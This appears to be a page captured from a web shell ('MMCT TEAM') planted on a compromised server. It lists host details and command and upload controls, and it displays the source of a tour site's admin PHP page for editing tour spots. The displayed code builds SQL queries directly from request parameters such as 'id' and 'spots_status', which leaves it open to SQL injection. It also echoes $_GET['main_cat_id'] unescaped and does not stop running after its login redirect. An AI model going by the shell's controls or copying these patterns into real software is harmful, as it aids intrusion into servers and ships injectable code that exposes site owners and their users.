MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.190.253.56
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/arkey.shop/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/arkey.shop/admin/edit-tourspots.php
<?php
    include_once('config.php');
    if (!isLoggedIn()) {
		$_SESSION['msg'] = "You must log in first";
		header('location: login.php');
	}
    if(isset($_POST['submit'])){

    $title = htmlspecialchars($_POST['spots_name'], ENT_QUOTES);
    $id = $_POST['id'];
    $names = preg_replace('/[#&,\[\]\(\)\{\};:"\'<>\*\^\$%@!?\/\\\|]/', '', $title);
    $names = preg_replace('/\s+/', ' ', $names);
    $nameWords = explode(' ', $names);
    $names = implode(' ', $nameWords);
    $url_links = strtolower($names);
    $url_link = '/' . str_replace(' ', '-', $url_links);
    $spots_detail = '';
    $upload_image = $new_image_name;
    $meta_title = htmlspecialchars($_POST['meta_title'], ENT_QUOTES);
    $meta_desc = htmlspecialchars($_POST['meta_desc'], ENT_QUOTES);
    $spots_status=$_POST['spots_status'];
    $main_cat_id=$_POST['main_cat_id'];
    $currentDate = date('YmdHis');
    $sql="UPDATE `tbl_tourspots` SET `spots_name`='$title', `spots_detail`='$spots_detail', `spots_url`='$url_link', `spots_status`='$spots_status', `meta_title`='$meta_title', `meta_desc`='$meta_desc'";
    $existing_images_query = "SELECT `spots_image` FROM `tbl_tourspots` WHERE spots_id=$id";
    $existing_images_result = $db->query($existing_images_query);
    $existing_images_row = $existing_images_result->fetch_assoc();
    
    $images = ["spots_image"];
    $uploaded_files = [];
    
    foreach ($images as $image) {
        if (!empty($_FILES[$image]['name'])) {
            $allowed_extensions = ['jpg', 'jpeg', 'png'];
            $image_extension = pathinfo($_FILES[$image]['name'], PATHINFO_EXTENSION);
            
            if (in_array(strtolower($image_extension), $allowed_extensions)) {
                $new_image_name = 'subcat-' . $currentDate . '.' . $image_extension;

                if (move_uploaded_file($_FILES[$image]['tmp_name'], 'images/places/' . $new_image_name)) {
                    if (!empty($existing_images_row[$image])) {
                        unlink('images/places/' . $existing_images_row[$image]);
                    }
                    
                    $uploaded_files[$image] = $new_image_name;
                    $sql .= ", $image='$new_image_name'";
                }
            } else {
                echo "Invalid file format. Only JPG, JPEG, and PNG files are allowed!";
            }
        }
    }

    $sql .= " WHERE spots_id=$id";

    if ($db->query($sql) === TRUE) {
        echo ("<script>
                window.alert('Successfully Updated');
                window.location.href='manage_tourspots.php?id=$main_cat_id'; 
              </script>");
    } else {
        echo "Error: " . $sql . "<br>" . $db->error;
    }

    mysqli_close($db);
}
?>

<!DOCTYPE html>
<html lang="en">

<head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>Admin</title>

    <!-- Custom fonts for this template-->
    <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css">
    <link
        href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i"
        rel="stylesheet">

    <!-- Custom styles for this template-->
    <link href="css/sb-admin-2.min.css" rel="stylesheet">

    <style>
        div.dataTables_wrapper div.dataTables_filter input {
            box-shadow: 0px 0 0 !important;
            transform: translate(-123px,1px);
        }
    </style>

    
    <link href="vendor/datatables/dataTables.bootstrap4.min.css" rel="stylesheet">

</head>

<body id="page-top">

    <!-- Page Wrapper -->
    <div id="wrapper">

       <?php include_once('sidebar.php')?>

        <!-- Content Wrapper -->
        <div id="content-wrapper" class="d-flex flex-column">

            <!-- Main Content -->
            <div id="content">

                <!-- Topbar -->
                <?php include_once('topbar.php')?>
                <!-- End of Topbar -->

                <!-- Begin Page Content -->
                <div class="container-fluid">

                    <!-- Page Heading -->
                    <div class="d-sm-flex align-items-center justify-content-between mb-4">
                        <h1 class="h3 mb-0 text-gray-800">Add Sub Category</h1>
                        <button class="btn btn-info" onclick="goBack()"><i class="fas fa-caret-left fa-sm text-white-50 pr-2" style="color: white !important;"></i> Back</button>
                    </div>
                    <!-- DataTales Example -->
                    <div class="card shadow mb-4">
                        <div class="card-body">
                            <div class="container-fluid">
                                <?php
                                    $id=$_GET['id'];
                                    $sql = "SELECT * FROM `tbl_tourspots` WHERE spots_id=$id";
                                    $run = mysqli_query($db,$sql) or die("Query Not run");
                                    $data = mysqli_fetch_assoc($run);
                                ?>
                                <form action="<?php $_PHP_SELF?>" method="POST" enctype="multipart/form-data">
                                    <div class="row">
                                        <div class="col-lg-6">
                                            <div class="form-group">
                                                <label>Sub Category Name</label>
                                                <input type="hidden" class="form-control" name="id" value="<?php echo $data['spots_id'];?>">
                                                <input type="hidden" class="form-control" name="main_cat_id" value="<?php echo $_GET['main_cat_id'];?>">
                                                <input type="text" class="form-control" name="spots_name" value="<?php echo $data['spots_name'];?>">
                                            </div>
                                        </div>
                                        <div class="col-lg-6">
                                            <div class="form-group">
                                                <label>Image</label>
                                                <input type="file" class="form-control" name="spots_image">
                                                <img width="60px;" src="images/places/<?php echo $data['spots_image'];?>">
                                            </div>
                                        </div>
                                        <div class="col-lg-6">
                                            <div class="form-group">
                                                <label for="category">Sub Category Status</label>
                                                <select style ="width:100%; height:2.3rem; padding:3px; border-radius:5px;" name="spots_status">
                                                    <option value="Active" <?php if($site_pages_status=='Active'){ ?> selected="selected" <? } ?>>Active</option>
                                                    <option value="Inactive" <?php if($site_pages_status=='Inactive'){ ?> selected="selected" <? } ?>>Inactive</option>
                                                </select>
                                            </div>
                                        </div>
                                    </div>
                                    <?php
                                 if (isset($_SESSION['user']) && $_SESSION['user']['user_type'] == 'supadmin' ) {
                          
                              echo '<div class="row">
                                        <div class="col-12">
                                            <div class="form-group">
                                                <label>Meta Title</label>
                                                <textarea style="resize:none;" name="meta_title" class="form-control" rows="4" col="2" placeholder="Enter Meta Title Here">'.$data['meta_title'].'</textarea>
                                            </div>
                                        </div>
                                        <div class="col-12">
                                            <div class="form-group">
                                                <label>Meta Description</label>
                                                <textarea style="resize:none;" name="meta_desc" class="form-control" rows="4" col="2" placeholder="Enter Meta Description Here">'.$data['meta_desc'].'</textarea>
                                            </div>
                                        </div>
                                    </div>';
                                }
                                    ?>
                                    <div class="row">
                                        <div class="col-12">
                                            <button type="submit" name="submit" class="btn btn-success">Submit</button>
                                        </div>
                                    </div>
                                </form>
                            </div>
                        </div>
                    </div>
                </div>
                <!-- /.container-fluid -->

            </div>
            <!-- End of Main Content -->
            
            <!-- Footer -->
            <?php include_once('footer.php')?>
            
        <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
        <script type="text/javascript">
        // Fetch subcategories from the database based on the selected category
        $(document).ready(function() {
            populateSubcategory();
        });
    </script>

</body>

</html>

MMCT - 2023